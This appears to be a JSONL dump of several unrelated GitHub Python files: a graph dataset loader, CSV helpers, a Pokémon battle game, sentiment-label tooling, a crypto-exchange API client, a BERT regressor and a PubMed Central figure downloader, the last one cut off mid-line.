+{"seq_id":"938673546","text":"import operator\nimport os\nimport joblib\nimport lmdb\nimport numpy as np\nimport torch\n\nfrom torch.utils.data import Dataset\n\nfrom pricePrediction import config\nfrom pricePrediction.preprocessData.serializeDatapoints import getExampleId, deserializeExample\nfrom pricePrediction.utils import search_buckedId, EncodedDirNamesAndTemplates\n\n\nclass Dataset_graphPrice(Dataset):\n    def __init__(self, encodedDir, datasetSplit, use_log_for_target=True, use_weights=False, buckets_fname=None,\n                 use_lds=False, do_undersample=False, augment_labels=False, store_in_memory=config.DATASET_IN_MEMORY,\n                 normalize_node_feats=config.NORMALIZE_NODE_FEATS):\n\n        self.use_log_for_target = use_log_for_target\n        self.use_weights = use_weights\n        self.buckets_fname = buckets_fname\n        self.use_lds = use_lds\n        self.do_undersample = do_undersample\n        self.augment_labels = augment_labels\n        self.store_in_memory = store_in_memory\n        self.normalize_node_feats = normalize_node_feats\n\n\n        assert (self.buckets_fname is not None and self.use_weights) or not self.use_weights\n        if self.do_undersample: raise NotImplementedError()\n\n        dataNames = EncodedDirNamesAndTemplates(encodedDir)\n        size_metadata_info = joblib.load( dataNames.DATASET_METADATA_FNAME_TEMPLATE % datasetSplit)\n\n        if self.normalize_node_feats:\n            self.min_x = torch.FloatTensor(size_metadata_info[\"feature_stats\"][\"min\"])\n            self.max_x = torch.FloatTensor(size_metadata_info[\"feature_stats\"][\"max\"])\n            self.range_x = self.max_x - self.min_x\n            assert not torch.isclose(self.range_x, torch.zeros(1)).any(), f\"Error, range close to 0, {torch.where(torch.isclose(self.range_x, torch.zeros(1)))}\"\n            assert not torch.isinf(self.range_x).any()\n\n        self.total_size = size_metadata_info[\"total_size\"]\n        self.size_per_file = size_metadata_info[\"sizes_list\"]\n        self.db_fnames = [ os.path.join( encodedDir, datasetSplit, os.path.basename(fname))\n                                        for fname in size_metadata_info[\"fnames_list\"]]\n        self.cum_size_at_file = np.cumsum(np.array(size_metadata_info[\"sizes_list\"], dtype=int))\n        self.last_cum_elemIdx_at_file = self.cum_size_at_file - 1\n\n        self.fileIdx_to_fileBasename = [os.path.basename(fname) for fname in self.db_fnames]\n\n        #Delayed load\n        self.db_managers= [None]*len(self.size_per_file)\n\n        self._bucket_ranges = None\n        self._n_per_bucket = None\n        self._cache = {}\n\n\n    def _idx_to_file_and_num(self, idx):\n        fileIdx = search_buckedId(idx, self.last_cum_elemIdx_at_file)\n        idx = idx - (self.cum_size_at_file[fileIdx - 1] if fileIdx - 1 >= 0 else 0)\n        return fileIdx, idx\n\n    def _init_db(self, fileIdx):\n        env = lmdb.open(self.db_fnames[fileIdx],\n            readonly=True, lock=False,\n            readahead=False, meminit=False)\n        txn = env.begin()\n        self.db_managers[fileIdx] = (env, txn)\n        return env, txn\n\n    @property\n    def bucket_ranges(self):\n        if self._bucket_ranges is None:\n            self._getBuckets()\n        return self._bucket_ranges\n\n    @property\n    def n_per_bucket(self):\n        if self._n_per_bucket is None:\n            self._getBuckets()\n        return self._n_per_bucket\n\n    def n_batches(self, batch_size):\n        return len(self)//batch_size + int(bool(len(self)%batch_size))\n\n    def _getBuckets(self):\n        buckets = joblib.load(self.buckets_fname)\n        bucket_ranges, n_per_bucket = buckets[\"bucket_ranges\"], buckets[\"n_per_bucket\"]\n\n        if self.use_lds:\n            print(\"using lds\")\n            from scipy.ndimage import gaussian_filter1d\n            n_per_bucket = gaussian_filter1d(n_per_bucket, sigma=2)\n        self._bucket_ranges = bucket_ranges\n        self._n_per_bucket = n_per_bucket\n\n    def compute_weight(self, label):\n        if not self.use_log_for_target:\n            label = np.exp(label)\n        bucket_num = search_buckedId(label, self.bucket_ranges)\n        w = self.total_size / (1 + self.n_per_bucket[bucket_num])\n        return w\n\n    def prepare_undersample(self, maximum_percentile=80):\n        maximum_per_bucket = np.percentile(self.n_per_bucket, maximum_percentile)\n        prob_per_bucket = maximum_per_bucket / (1e-10 + self.n_per_bucket)\n        prob_per_bucket = np.where(prob_per_bucket < 1, prob_per_bucket, 1)\n        print(\"maximum_per_bucket while sampling: %d\" % maximum_per_bucket)\n        new_len = sum([min(maximum_per_bucket, n_elems) for n_elems in self.n_per_bucket])\n\n        def predicate(graph_y):\n            y = graph_y[1]\n            bucket_num = search_buckedId(y, self.bucket_ranges)\n            return np.random.rand() < prob_per_bucket[bucket_num]\n\n        # dataset = dataset.select(predicate)\n        raise NotImplementedError() #This code is obsolete and requires refactoring\n\n    def normalize_x(self, x):\n        return (x-self.min_x)/self.range_x\n\n    def __getitem__(self, index):\n\n        out = self._cache.get(index, None)\n        if out is not None:\n            return out\n        else:\n            if index >= self.total_size:\n                raise IndexError()\n            fileIdx, pointIdx = self._idx_to_file_and_num(index)\n            db_manager = self.db_managers[fileIdx]\n            if db_manager is None:\n                txn= self._init_db(fileIdx)[-1]\n            else:\n                txn = db_manager[-1]\n\n            dataBytes = txn.get(getExampleId(self.fileIdx_to_fileBasename[fileIdx], pointIdx))\n            if dataBytes is None:\n                msg = \"Error:\\n%s %s   %s   %s\"%(index, fileIdx, pointIdx, getExampleId(self.fileIdx_to_fileBasename[fileIdx], pointIdx))\n                raise Exception(msg)\n            graph, label = deserializeExample(dataBytes)\n\n            if self.normalize_node_feats:\n                graph.x = self.normalize_x(graph.x)\n\n            if self.use_log_for_target:\n                label = np.log(label)\n\n            if self.augment_labels:\n                label = label * (1+0.05*np.random.rand()-0.025)\n\n            if self.use_weights:\n                graph.w = self.compute_weight(label)\n            else:\n                graph.w = 1\n            graph.y = label\n            if self.store_in_memory:\n                self._cache[index] = (graph, label)\n            return graph, label\n\n    def __len__(self):\n        return self.total_size\n\n    def close(self):\n        for db_handler in self.db_managers:\n            if db_handler:\n                env, txn = db_handler\n                env.close()\n\n","repo_name":"rsanchezgarc/CoPriNet","sub_path":"pricePrediction/dataManager/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":6608,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"22526539389","text":"#!/usr/bin/env python\n# coding=utf-8\n\nimport os\nfrom csv import DictWriter\n\n\ndef file_is_empty(path):\n    \"\"\"\n    This function checks if a file is empty\n    \"\"\"\n    try:\n        return os.stat(path).st_size == 0\n    except IOError:\n        return False\n\n\ndef has_file_exists_not_create(file_name):\n    \"\"\"\n    This functions checks if file exists if not create\n    \"\"\"\n    filename = '{filename}.csv'.format(filename=file_name)\n    path = '{directory}/csv/{filename}'.format(directory=os.getcwd(),\n                                               filename=filename)\n    if os.path.exists(path):\n        return path\n\n    return create_csv(file_name)\n\n\ndef create_csv(filename):\n    \"\"\"\n    This function checks if the csv containing permits is already existing\n\n    Parameters\n    ----------\n    filename: str\n    \"\"\"\n    filename = '{filename}.csv'.format(filename=filename)\n    directory = '{directory}/csv'.format(directory=os.getcwd())\n\n    if not os.path.isdir(directory):\n        os.makedirs(directory)\n\n    path = '{directory}/csv/{filename}'.format(directory=os.getcwd(),\n                                               filename=filename)\n    # we will create a csv file and truncate also truncate the file if it\n    # already exists\n    with open(path, \"w\") as f:\n        f.truncate()\n\n    return path\n\n\ndef save_to_csv(headers, filename, record):\n    \"\"\"\n    This function saves a record by appending it to a csv file\n    It takes both a batch list file as well as generator.\n    \"\"\"\n    filename = convert_to_filenameable(filename)\n    path = has_file_exists_not_create(filename)\n    with open(path, 'a') as csvfile:\n        writer = DictWriter(csvfile, fieldnames=headers)\n        if file_is_empty(path=path):\n            writer.writeheader()\n        writer.writerows(record)\n\n    return path\n\n\ndef convert_to_filenameable(invalid_str):\n    try:\n        valid_string = invalid_str.replace(\"/\", \"_\")\n    except AttributeError:\n        # valid string is kept None because the next line in Scraper class\n        # checks if the string is returned\n        valid_string = None\n    return valid_string\n","repo_name":"Abhioo8/dream11-team-select","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7082598487","text":"\nimport time\nimport random\nprint()\nprint('-' * 80)\n\nprint('A wild Jigglypuff appears')\ntime.sleep(0.2)\nprint('You only have one Pokèmon, Snorlax.')\ntime.sleep(1)\nprint('I choose you Snorlax!!!')\ntime.sleep(1)\nprint()\n# Starting HP\nsnorlax_hp = 200\njiggly_hp = 125\n\nprint()\n\nprint('Starting HP')\ntime.sleep(0.2)\nprint('-Snorlax HP: ' + str(snorlax_hp))\ntime.sleep(0.2)\nprint('-Jigglypuff HP: ' + str(jiggly_hp))\ntime.sleep(0.2)\nprint()\ntime.sleep(0.2)\nprint()\n\nwhile snorlax_hp > 0 and jiggly_hp > 0:\n\n\tprint('Battle Options:')\n\ttime.sleep(0.2)\n\tprint('-[1] Sleep Heal')\n\ttime.sleep(0.2)\n\tprint('-[2] Tackle')\n\ttime.sleep(0.2)\n\tprint('-[3] Roundhouse Kick')\n\ttime.sleep(0.2)\n\tprint('-[4] Hyper Beam')\n\ttime.sleep(0.2)\n\tprint('-[5] Run')\n\ttime.sleep(0.2)\n\t\n\n\tyour_move = input('Choose a move using the corresponding number ')\n\tprint()\n\tif your_move == '1':\n\t\tprint('Snorlax uses Sleep Heal')\n\t\tsnorlax_hp = snorlax_hp + 50\n\t\tprint('Snorlax uses Sleep Heal, his HP increases to ' + str(snorlax_hp))\n\t\ttime.sleep(0.2)\n\n\telif your_move == '2':\n\t\tjiggly_hp = jiggly_hp - 10\n\t\tprint('Snorlax uses tackele and deals 10 damage to JigglyPuff!')\n\t\ttime.sleep(0.2)\n\n\telif your_move == '3':\n\t\tjiggly_hp = jiggly_hp - 3\n\t\tprint('Snorlax uses RoundHouse Kick and deals 3 damage to JigglyPuff!')\n\t\ttime.sleep(0.2)\n\n\telif your_move == '4':\n\t\tjiggly_hp = jiggly_hp - 40\n\t\tprint('Snorlax uses HyperBeam and deals 40 damage to JigglyPuff!')\n\t\ttime.sleep(0.2)\n\n\telif your_move == '5':\n\t\trunning = random.randint(1,2)\n\telif running == 1:\n\t\tprint('You were able to escape')\n\t\tbreak\n\telse:\n\t\tprint('You could not escape!')\n\t\n\tprint()\n\n\t# Jigglypuff\n\tenemy_move = random.randint(1,2)\n\tenemy_move = str(enemy_move)\n\n\tif enemy_move == '1':\n\t\tsnorlax_hp = snorlax_hp - 30\n\t\tjiggly_hp = jiggly_hp + 30\n\t\tprint('Jigglypuff uses Singing, dealing 30 damage and gaining 30 HP!')\n\t\ttime.sleep(0.2)\n\n\telif enemy_move == '2':\n\t\tsnorlax_hp = snorlax_hp - 50\n\t\tprint('Jigglypuff uses headbutt dealing 50 damage to Snorlax!')\n\t\ttime.sleep(0.2)\n\n\tprint()\n\n\t#Check for overkill and if so, set hp to 0\n\tif snorlax_hp < 0:\n\t\tsnorlax_hp = 0\n\n\tif jiggly_hp < 0:\n\t\tjiggly_hp < 0\n\n\tprint('Updated HP1')\n\ttime.sleep(0.2)\n\tprint('-Snorlax HP: ' + str(snorlax_hp))\n\ttime.sleep(0.2)\n\tprint('-Jigglypuff HP: ' + str(jiggly_hp))\n\ttime.sleep(0.2)\n\tprint()\n\ttime.sleep(0.2)\n\n\nif snorlax_hp == 0:\n\tprint('Snorlax has faninted! The Jigglypuff Wins.')\nelif jiggly_hp == 0:\n\tprint('The Jigglypuff has faninted. Snorlax wins!')","repo_name":"crystal2001/pokemon","sub_path":"bootlegpkmn.py","file_name":"bootlegpkmn.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19722230604","text":"from typing import List\n\nimport numpy\nimport pandas as pd\n\nfrom yaso_tsa.infra.LabeledCluster import LabeledCluster\nfrom yaso_tsa.infra.LabeledTarget import LabeledTarget\nfrom yaso_tsa.infra.SentimentTargets import SentimentTargets, SENTENCE_TEXT, TARGET_TEXT, TARGET_SENTIMENT, \\\n    TARGET_BEGIN, TARGET_END\nfrom yaso_tsa.infra.TsaData import TsaData\n\nTARGET_CONFIDENCE = 'confidence'\nSENTIMENT_ANSWER_NUM_LABELERS = 'num_annotations'\nPOSITIVE_ANSWER_COUNT = 'sentiment_positive'\nNEGATIVE_ANSWER_COUNT = 'sentiment_negative'\nNONE_ANSWER_COUNT = 'sentiment_none'\nMIXED_ANSWER_COUNT = 'sentiment_mixed'\nDETECTION_POSITIVE = 'detected_positive'\nDETECTION_NEGATIVE = 'detected_negative'\nDETECTION_MIXED = 'detected_mixed'\n\nDEFAULT_CONFIDENCE_THRESHOLD = 0.7\n\n\nclass TsaLabels:\n\n    LABEL_COLUMNS = [\n        TARGET_SENTIMENT, TARGET_CONFIDENCE, SENTIMENT_ANSWER_NUM_LABELERS,\n        MIXED_ANSWER_COUNT, NONE_ANSWER_COUNT, NEGATIVE_ANSWER_COUNT,\n        POSITIVE_ANSWER_COUNT\n    ]\n\n    @staticmethod\n    def read_json(path, meta_fields=[]):\n        as_tsa_data = TsaData.read_json(path, meta_fields=meta_fields)\n        sentiment_targets = as_tsa_data.get_sentiment_targets()\n        sentiment_targets.get_frame().rename(\n            columns=lambda x: x.replace('detected_by.', ''),\n            inplace=True\n        )\n        return TsaLabels(\n            frame=sentiment_targets.get_frame(),\n            sentences=as_tsa_data.get_sentences_frame()\n        )\n\n    def __init__(self, *, frame=None, sentences=pd.DataFrame(columns=[SENTENCE_TEXT])):\n        if frame is None:\n            frame = pd.DataFrame(\n                columns=SentimentTargets.KEY_COLUMNS + TsaLabels.LABEL_COLUMNS\n            )\n        self.frame = frame\n        self.sentences = sentences\n\n    def __repr__(self):\n        return f\"<TsaLabels \" \\\n               f\"labeled: {self.get_num_labels()}, sentences: {self.get_num_sentences()}>\"\n\n    def empty(self):\n        return self.frame.empty and self.sentences.empty\n\n    def get_frame(self):\n        return self.frame\n\n    def get_sentences_frame(self):\n        return self.sentences\n\n    def get_num_labels(self):\n        return len(self.frame)\n\n    def is_valid_target(self):\n        return self.frame[TARGET_SENTIMENT] != 'none'\n\n    def get_valid_targets(self):\n        valid_targets = self.frame[self.is_valid_target()]\n        return TsaLabels(frame=valid_targets, sentences=self.sentences)\n\n    def get_non_targets(self):\n        non_targets = self.frame[~self.is_valid_target()]\n        return TsaLabels(frame=non_targets, sentences=self.sentences)\n\n    def get_num_sentences(self):\n        return len(self.get_sentences())\n\n    def get_sentences(self):\n        return list(self.sentences[SENTENCE_TEXT])\n\n    def is_labeled(self, target_text, text):\n        return ((self.frame[TARGET_TEXT] == target_text) &\n                (self.frame[SENTENCE_TEXT] == text)).any()\n\n    def as_labeled_spans(self):\n        if self.frame.empty:\n            return []\n        else:\n            return self.frame.apply(lambda x: LabeledTarget.create(row=x), axis=1)\n\n    def as_labeled_clusters(self) -> List[LabeledCluster]:\n        labeled_targets = self.frame.groupby(SENTENCE_TEXT).apply(\n            lambda x: LabeledTarget.create(frame=x))\n        result = labeled_targets.apply(LabeledCluster.create_clusters)\n        result = result.values\n        result = numpy.hstack(result) if len(result) > 0 else result\n        return result\n\n    def shuffle(self):\n        \"\"\"\n        Shuffle the order of the labels and the sentences.\n        :return: A shuffled TsaLabels object.\n        \"\"\"\n        return TsaLabels(\n            frame=self.frame.sample(frac=1),\n            sentences=self.sentences.sample(frac=1)\n        )\n\n    def split_by_sentences(self, split_percentage):\n        \"\"\"\n        Split the labes into two parts, given a desired size (in percentage)\n         for one of the parts. The split is done according to the current order\n         of the sentences.\n        :param split_percentage: The desired size (in percentage) of the size for\n        the first part. For example, 0.8 will create two parts, the first containing\n        80% of the labels, and the second containing 20% of the data.\n        :return: A list containing two TsaLabels objects, for the splitted parts.\n        \"\"\"\n        sentences = self.get_sentences()\n        last_index = int(len(sentences) * split_percentage)\n        first_split_sentences = sentences[:last_index]\n        second_split_sentences = sentences[last_index:]\n        return [self.select_sentences(first_split_sentences),\n                self.select_sentences(second_split_sentences)]\n\n    def to_csv(self, path, shuffle=False):\n        output = self.frame\n        if shuffle:\n            output = output.sample(frac=1)\n        output.to_csv(path)\n\n    def to_json(self, path, additional_fields=[], shuffle=False):\n\n        def get_optional(single_target, column_name, default_value=0):\n            if column_name in single_target.index:\n                return single_target[column_name]\n            else:\n                return default_value\n\n        def to_dict(label):\n            result = {\n                TARGET_CONFIDENCE: get_optional(label, TARGET_CONFIDENCE),\n                SENTIMENT_ANSWER_NUM_LABELERS: get_optional(label, SENTIMENT_ANSWER_NUM_LABELERS),\n                POSITIVE_ANSWER_COUNT: get_optional(label, POSITIVE_ANSWER_COUNT),\n                NEGATIVE_ANSWER_COUNT: get_optional(label, NEGATIVE_ANSWER_COUNT),\n                MIXED_ANSWER_COUNT: get_optional(label, MIXED_ANSWER_COUNT),\n                NONE_ANSWER_COUNT: get_optional(label, NONE_ANSWER_COUNT),\n                \"detected_by\": {\n                    DETECTION_POSITIVE: get_optional(label, DETECTION_POSITIVE),\n                    DETECTION_NEGATIVE: get_optional(label, DETECTION_NEGATIVE),\n                    DETECTION_MIXED: get_optional(label, DETECTION_MIXED)\n                }\n            }\n            result.update({field: get_optional(label, field) for field in additional_fields})\n            return result\n\n        from yaso_tsa.infra.TsaData import TsaData\n        as_tsa_data = TsaData(SentimentTargets(frame=self.frame), sentences=self.sentences)\n        as_tsa_data.to_json(path, to_dict=to_dict, shuffle=shuffle)\n\n    def add_detection_annotations(self, detection_annotations):\n        self.frame = self.frame.merge(\n            right=detection_annotations,\n            on=SentimentTargets.KEY_COLUMNS\n        )\n\n    def get_answer_counts(self, normalize=False):\n        result = self.frame[TARGET_SENTIMENT].value_counts(normalize=normalize)\n\n        if normalize:\n            result = result.rename(lambda x: f'% {x}')\n        return result\n\n    def add_property(self, property_name, property_value):\n        self.frame[property_name] = property_value\n\n    def add_sentence_property(self, property_name, property_value):\n        self.sentences[property_name] = property_value\n\n    def append(self, other):\n        return TsaLabels(\n            frame=self.frame.append(other.frame, ignore_index=True),\n            sentences=self.sentences.append(other.sentences, ignore_index=True)\n        )\n\n    def add_confidence_bin(self, bins=[0, 0.7, 0.8, 0.9, 1.1]):\n        self.frame['confidence_bin'] = pd.cut(\n            self.frame[TARGET_CONFIDENCE].copy(),\n            include_lowest=True,\n            right=False,\n            bins=bins\n        )\n\n    def sample_by_confidence(self, num_to_sample):\n        sampled_frame = self.frame.groupby('confidence_bin').apply(\n            lambda d: d.sample(n=num_to_sample)).reset_index(drop=True)\n        return TsaLabels(frame=sampled_frame)\n\n    def get_confidence_counts(self, bins=[0, 0.7, 0.8, 0.9, 1.1], normalize=False):\n        result = pd.cut(\n            self.frame[TARGET_CONFIDENCE],\n            include_lowest=True,\n            right=False,\n            bins=bins\n        ).value_counts(normalize=normalize)\n        if normalize:\n            result = result.rename(lambda x: f'% {x}')\n        return result\n\n    def select_sentences(self, sentences):\n        return TsaLabels(\n            frame=self.frame[self.frame[SENTENCE_TEXT].isin(sentences)],\n            sentences=self.sentences[self.sentences[SENTENCE_TEXT].isin(sentences)]\n        )\n\n    def get_targets_with_confidence(self, confidence_condition):\n        selected = self.frame[confidence_condition(self.frame[TARGET_CONFIDENCE])]\n        return TsaLabels(\n            frame=selected,\n            sentences=self.get_sentences_frame()\n        )\n\n    def get_high_confidence_labels(self, confidence_threshold=DEFAULT_CONFIDENCE_THRESHOLD):\n        return self.get_targets_with_confidence(lambda confidence: confidence >= confidence_threshold)\n\n    def get_low_confidence_labels(self, confidence_threshold=DEFAULT_CONFIDENCE_THRESHOLD):\n        return self.get_targets_with_confidence(lambda confidence: confidence < confidence_threshold)\n\n    def remove_targets_from_domain(self, domain):\n        self.frame = self.frame[self.frame['domain'] != domain]\n\n    def remove(self, other):\n        from labeling.collected_utils import remove_rows\n        result = remove_rows(\n            source=self.frame,\n            items_to_remove=other.frame,\n            key_columns=SentimentTargets.KEY_COLUMNS)\n        return TsaLabels(frame=result)\n\n    def as_sentiment_targets(self, extra_columns=[]):\n        returned_columns = SentimentTargets.KEY_COLUMNS + [TARGET_SENTIMENT] + extra_columns\n        sentiment_targets_frame = self.frame[returned_columns].copy()\n        return SentimentTargets(frame=sentiment_targets_frame)\n\n    def extend_labels(self):\n        result = self.extend_labels_by_removing_prefix(prefix='the ')\n        result = result.extend_lables_by_including_prefix(prefix='the ')\n        return result\n\n    def extend_labels_by_removing_prefix(self, prefix):\n        '''\n        Project all labels starting with \"<prefix> <x>\", to \"<x>\"\n        For example in \"The car is nice\", for the prefix \"The \", if \"The car\" is labeled positive, then\n        this operation will add the label \"car\" with the same sentiment.\n        :return:\n            A TsaLabels() object containing the union of the original labels and the extended labels.\n        '''\n        target_starts_with_prefix = self.frame[TARGET_TEXT].str.lower().str.startswith(prefix)\n        return self._add_new_offseted_labels(target_starts_with_prefix, offset=len(prefix))\n\n    def extend_lables_by_including_prefix(self, prefix):\n        '''\n        Project all labels starting with \"<x>\" to \"<prefix> <x>\", if the prefix indeed appears\n        before <x> in the sentence.\n        For example in \"The car is nice\", for the prefix \"The \", if \"car\" is labeled positive, then\n        this operation will add the label \"The car\" with the same sentiment.\n        :return:\n            A TsaLabels() object containing the union of the original labels and the extended labels.\n        '''\n\n        def has_prefix(row):\n            prefix_end = row[TARGET_BEGIN]\n            prefix_begin = prefix_end - len(prefix)\n            if prefix_begin >=0:\n                target_prefix = row[SENTENCE_TEXT][prefix_begin:prefix_end]\n                if target_prefix.lower() == prefix.lower():\n                    return True\n            return False\n\n        with_prefix = self.frame.apply(has_prefix, axis=1)\n        return self._add_new_offseted_labels(with_prefix, offset=-len(prefix))\n\n    def _add_new_offseted_labels(self, labels_to_add, offset):\n        new_labels = self.frame[labels_to_add].copy()\n        new_labels[TARGET_BEGIN] = new_labels[TARGET_BEGIN].apply(lambda x: x + offset)\n        new_labels[TARGET_TEXT] = new_labels.apply(\n            lambda row: row[SENTENCE_TEXT][row[TARGET_BEGIN]:row[TARGET_END]], axis=1, result_type='reduce')\n        extended_frame = pd.concat([self.frame, new_labels], ignore_index=True)\n        # keep the first duplicate, which is an the original label\n        # So, for example, if both \"The <X>\" and <X>\" are originally labeled,\n        # the extension of the label from \"The <X>\" to <X> is discarded, and the original label for <X> is kept.\n        extended_without_duplicates = extended_frame.drop_duplicates(subset=SentimentTargets.KEY_COLUMNS, keep='first')\n        return TsaLabels(frame=extended_without_duplicates, sentences=self.sentences.copy())\n\n\ndef get_available_sentiment_values():\n    available_sentiment_values = ['mixed', 'none', 'negative', 'positive']\n    return available_sentiment_values\n\n\n","repo_name":"IBM/yaso-tsa","sub_path":"yaso_tsa/infra/TsaLabels.py","file_name":"TsaLabels.py","file_ext":"py","file_size_in_byte":12504,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"}
+{"seq_id":"14843485204","text":"import time\nimport hmac\nfrom hashlib import sha512\nfrom urllib import urlencode\nfrom decimal import Decimal\n\nimport requests\n\nfrom cryptex.exception import APIException\n\nclass SingleEndpointAPI(object):\n    \"\"\"\n    BTC-e and Cryptsy both employ the same API auth scheme and format.  There \n    exists a single endpoint. Different actions are performed by passing a \n    \"method\" parameter.  All requests are POST. All reponses are json, \n    returing an object with keys \"success\" and \"return\" (if successful).\n    \"\"\"\n    def __init__(self, base_url, key=None, secret=None):\n        self.base_url = base_url\n        self.authenticated = key and secret\n        self.key = key\n        self.secret = secret\n\n    def get_request_params(self, method, data):\n        payload = {'method': method}\n        payload.update(data)\n        headers = {}\n\n        if self.authenticated:\n            payload.update({'nonce': int(time.time())})\n            signature = hmac.new(self.secret, urlencode(payload),\n                sha512).hexdigest()\n\n            headers = {\n                'Sign': signature,\n                'Key': self.key\n            }\n\n        return (payload, headers)\n\n    def perform_request(self, method, data={}):\n        payload, headers = self.get_request_params(method, data)\n        if self.authenticated:\n            r = requests.post(self.base_url, data=payload, headers=headers)\n        else:\n            r = requests.get(self.base_url, params=payload, headers=headers)\n\n        content = r.json(parse_float=Decimal)\n\n        # Cryptsy returns success as a string, BTC-e as a int\n        if int(content['success']) != 1:\n            raise APIException(content['error'])\n\n        # Cryptsy's createorder response is stupidly broken\n        if method == 'createorder':\n            content['return'] = {\n                'orderid': content['orderid'],\n                'moreinfo': content['moreinfo']\n            }\n        return content['return']\n","repo_name":"coink/cryptex","sub_path":"cryptex/exchange/single_endpoint.py","file_name":"single_endpoint.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"9290190029","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 26 15:19:19 2015\n\n@author: breiche\n\nGiven an array of integers, find out whether there are two distinct indices i \nand j in the array such that the difference between nums[i] and nums[j] is at \nmost t and the difference between i and j is at most k. \n\"\"\"\n\nimport unittest\n\nclass NearlyDupeSolution(object):\n    def containsNearbyAlmostDuplicate(self, nums, k, t):\n        \"\"\"\n        :type nums: List[int]\n        :type k: int\n        :type t: int\n        :rtype: bool\n        \"\"\"\n        return True\n        \nclass AlmostDupeTest(unittest.TestCase):\n    \n    def test1(self):\n        s = NearlyDupeSolution()\n        answer = s.containsNearbyAlmostDuplicate([1,2,17,46,3,4], 1, 10)\n        expected = True\n        self.assertEqual(answer, expected)\n\n        \nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"bridgette/Python100","sub_path":"nearly_dupes.py","file_name":"nearly_dupes.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"37621565852","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom transformers import BertPreTrainedModel, BertModel\n\n\nclass BertForSequenceRegression(BertPreTrainedModel):\n    def __init__(self, config):\n        super(BertForSequenceRegression, self).__init__(config)\n        self.bert = BertModel(config)\n        self.dropout = nn.Dropout(config.hidden_dropout_prob)\n        self.regressor = nn.Linear(config.hidden_size, 1)\n        self.loss_fct = torch.nn.MSELoss()\n\n    def forward(self, \n        input_ids=None, attention_mask=None, token_type_ids=None, position_ids=None, head_mask=None, inputs_embeds=None, \n        labels=None, output_attentions=None, output_hidden_states=None):\n\n        outputs = self.bert(\n            input_ids,\n            attention_mask=attention_mask,\n            token_type_ids=token_type_ids,\n            position_ids=position_ids,\n            head_mask=head_mask,\n            inputs_embeds=inputs_embeds,\n            output_attentions=output_attentions,\n            output_hidden_states=output_hidden_states,\n        )\n        pooled_output = outputs[1]\n        pooled_output = self.dropout(pooled_output)\n        outputs = self.regressor(pooled_output)\n        if labels is not None:\n            loss = self.loss_fct(outputs.view(-1), labels.view(-1))\n            return loss\n        else:\n            return outputs","repo_name":"chao1224/Geom3D","sub_path":"Geom3D/models/BERT.py","file_name":"BERT.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"3"}
+{"seq_id":"15801227420","text":"import io\nimport ftplib\nimport os\nimport pathlib\nimport re\nimport tarfile\nfrom typing import Optional\nimport uuid\nimport pandas as pd\nfrom PIL import Image\nimport pubmed_parser as pp\nfrom tqdm import tqdm\n\nclass Downloader:\n    def __init__(\n            self,\n            data_dir,\n            metadata_path: str,\n            num_samples: Optional[int] = None\n    ):\n        self.data_dir = pathlib.Path(data_dir)\n        self.metadata = self._prepare_metadata(metadata_path, num_samples)\n        self.client = ftplib.FTP('ftp.ncbi.nlm.nih.gov')\n        self.prepare_download()\n\n    def _filter_downloaded_files(self, metadata: pd.DataFrame) -> pd.DataFrame:\n        return metadata\n\n    def _prepare_metadata(\n            self,\n            metadata_path: str,\n            num_samples: Optional[int] = None\n    ) -> pd.DataFrame:\n        \"\"\"\n        preprocess pmc metadata file\n        \"\"\"\n        meta = pd.read_csv(metadata_path)\n        meta.columns = ['fname', 'citation', 'accession_id', 'last_update', 'pmid', 'license']\n        meta = meta[meta['license'] != 'NO-CC CODE'].reset_index(drop=True)\n        meta.fname = meta.fname.apply(lambda x: '/'.join(x.split('/')[1:]))\n        meta.last_update = pd.to_datetime(meta.last_update)\n\n        if num_samples:\n            meta = meta.sample(num_samples)\n        else:\n            meta = meta.sample(frac=1)\n\n        meta = self._filter_downloaded_files(meta)\n\n        if meta.empty:\n            raise NotImplementedError\n\n        return meta\n\n\n    def prepare_download(self):\n        self.client.login()\n        self.client.cwd('pub/pmc/oa_package/')\n\n    def download(self):\n        for fname in self.metadata.fname:\n            callback = io.BytesIO()\n            self.client.retrbinary(f'RETR {fname}', callback.write, blocksize=33554432)\n            yield fname, callback\n\n    def extract(self, tar_buffer):\n        tar_buffer.seek(0)\n\n        tar = tarfile.open(fileobj=tar_buffer)\n        members = tar.getmembers()\n\n        imgs_files = re.compile(r'.*(\\.gif|jpe?g|tiff?|png|webp|bmp)$')\n        text_file = re.compile(r'.*(\\.nxml)$')\n\n        imgs = {}\n\n        for mem in members:\n            if imgs_files.match(mem.name):\n                img_ref = os.path.basename(mem.name)\n                img_ref = os.path.splitext(img_ref)[0]\n                imbuffer = tar.extractfile(mem).read()\n                imgs[img_ref] = imbuffer\n\n            if text_file.match(mem.name):\n                text = tar.extractfile(mem.name).read().decode('utf-8')\n                caption = pp.parse_pubmed_caption(text)\n\n        return imgs, caption\n\n    def save_data(self, imgs, caption):\n        for capt in caption:\n            imbuffer = imgs[capt['graphi_ref']]\n            image = Image.open(io.BytesIO(imbuffer))\n            image.save(self.data_dir / f'{capt[\"pmc\"]}_{uuid.uuid4()}.png')\n\n            # TODO: query db\n\n    def download_and_extract(self):\n        for _, fbuffer in tqdm(self.download()):\n            imgs, caption = self.extract(fbuffer)\n            self.save_data(imgs, 